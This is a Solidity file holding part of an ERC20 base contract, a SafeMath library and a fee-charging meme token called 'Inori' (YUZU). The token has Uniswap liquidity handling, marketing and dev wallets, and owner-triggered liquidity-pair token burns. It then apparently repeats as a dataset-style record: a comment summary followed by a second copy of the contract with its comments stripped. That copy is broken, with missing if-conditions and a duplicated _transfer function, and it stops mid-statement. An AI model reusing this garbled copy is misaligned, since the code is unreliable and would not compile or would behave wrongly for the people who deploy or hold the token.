* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract Inori is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 20; // 20 = .20%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public constant buyMarketingFee = 5;
uint256 public constant buyLiquidityFee = 5;
uint256 public constant buyDevFee = 0;
uint256 public sellTotalFees;
uint256 public constant sellMarketingFee = 5;
uint256 public constant sellLiquidityFee = 5;
uint256 public constant sellDevFee = 2;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event BoughtEarly(address indexed sniper);
constructor() ERC20("Inori", "YUZU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 totalSupply = 1_000_000_000 * 1e18; // 1 billion total supply
maxTransactionAmount = 10_000_000 * 1e18; // 1.0% from total supply maxTransactionAmountTxn
maxWallet = 20_000_000 * 1e18; // 2.0% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 3) / 10000; // 0.03% swap wallet
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0xeB810EB034E1588e1e6a2D15C34039088C5E00b7); // set as marketing wallet
devWallet = address(0xeB810EB034E1588e1e6a2D15C34039088C5E00b7); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function startTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
Anti-bot and anti-whale mappings and variables exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
|
contract Inori is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public constant buyMarketingFee = 5;
uint256 public constant buyLiquidityFee = 5;
uint256 public constant buyDevFee = 0;
uint256 public sellTotalFees;
uint256 public constant sellMarketingFee = 5;
uint256 public constant sellLiquidityFee = 5;
uint256 public constant sellDevFee = 2;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
event BoughtEarly(address indexed sniper);
constructor() ERC20("Inori", "YUZU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function startTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
